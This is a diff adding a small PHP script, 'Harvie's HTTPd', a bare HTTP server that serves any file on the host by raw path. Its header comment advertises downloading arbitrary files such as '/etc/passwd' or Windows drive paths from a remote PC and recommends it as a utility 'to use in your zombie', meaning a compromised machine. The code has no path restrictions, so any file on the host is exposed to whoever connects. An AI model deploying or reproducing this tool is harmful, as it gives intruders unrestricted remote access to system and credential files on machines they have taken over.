--- /dev/null
+#!usr/bin/php\r
+<?php\r
+//Harvie's HTTPd 0.5\r
+/*\r
+ Allows you to binary safe download any file from remote pc\r
+ http://server:port/file\r
+ http://server:port//etc/passwd\r
+ http://server:port/C:\dir\file\r
+ http://server:port/C:/dir/file\r
+ You can also play multimedia like streams (using XMMS, Winamp, etc...)\r
+ But this can serve only one file a time\r
+ (if you are streaming or downloading, you can download/browse anything other,\r
+ but you can use download manager to download file by file...)\r
+ You can change port or interface by passing arguments\r
+ Usage: (httpd.php [port] [interface_IP])\r
+ This is very nice utility to use in your zombie.\r
+*/\r
+\r
+//////////////////////////////////////////////////////////////////////////////////\r
+$interface = "127.0.0.1";\r
+$port = 81;\r
+$index = "index.html";\r
+\r
+//////////////////////////////////////////////////////////////////////////////////\r
+$okheader = //Header 200\r
+ "HTTP/1.0 200 OK\n".\r
+ "Server: Harvie's HTTPd\n".\r
+ "Connection: close\n\n";\r
+\r
+$badheader = //Header 404\r
+ "HTTP/1.0 404 File not found!\n".\r
+ "Server: Harvie's HTTPd\n".\r
+ "Connection: close\n\n";\r
+\r
+$err404 = "ERR 404 - NOT FOUND!"; //Error 404\r
+\r
+//////////////////////////////////////////////////////////////////////////////////\r
+if(isset($argc)) {\r
+ if($argc > 1) $port = trim($argv[1]);\r
+ if($argc > 2) $interface = trim($argv[2]);\r
+}\r
+\r
+echo("\n\tStarting Harvie's HTTPd at:\n\ttcp://$interface:$port\n\n");\r
+//system("title Harvie's HTTPd at tcp://$interface:$port"); //Microsoft Windows only\r
+set_time_limit(0);\r
+$sss = stream_socket_server("tcp://$interface:$port");\r
+\r
+while(1) {\r
+ @$sfp = stream_socket_accept($sss);\r
+ if(!$sfp) continue;\r
+\r
+ $loop = 1;\r
+ while($sfp && !@feof($sfp) && $loop) {\r
+ $line = fgets($sfp);\r
+ //echo($line);\r
+ if(eregi("(GET|POST)", $line)) {\r
+ $line = trim($line);\r
+ //echo($line);\r
+ $line = explode(" ", $line);\r
+ \r
+ $line[1] = urldecode($line[1]);\r
+ \r
+ if($line[1] == "/") {\r
+ $line[1] = $index;\r
+ } else {\r
+ $line[1] = substr($line[1], 1);\r
+ }\r
+ \r
+ if(is_file($line[1])) { //200 OK\r
+ fwrite($sfp, $okheader);\r
+ echo("200 ".$line[1]."\n");\r
+ $fp = fopen($line[1], "rb");\r
+ while( fwrite($sfp, fgets($fp)) );\r
+ @fclose($sfp);\r
+ } else { //404 NOT FOUND\r
+ echo("404 ".$line[1]."\n");\r
+ fwrite($sfp, $badheader);\r
+ fwrite($sfp, $err404);\r
+ @fclose($sfp);\r
+ }\r
+ \r
+ $loop = 0;\r
+ }\r
+ }\r
+ @fclose($sfp);\r
+}\r
+\r
+?>\r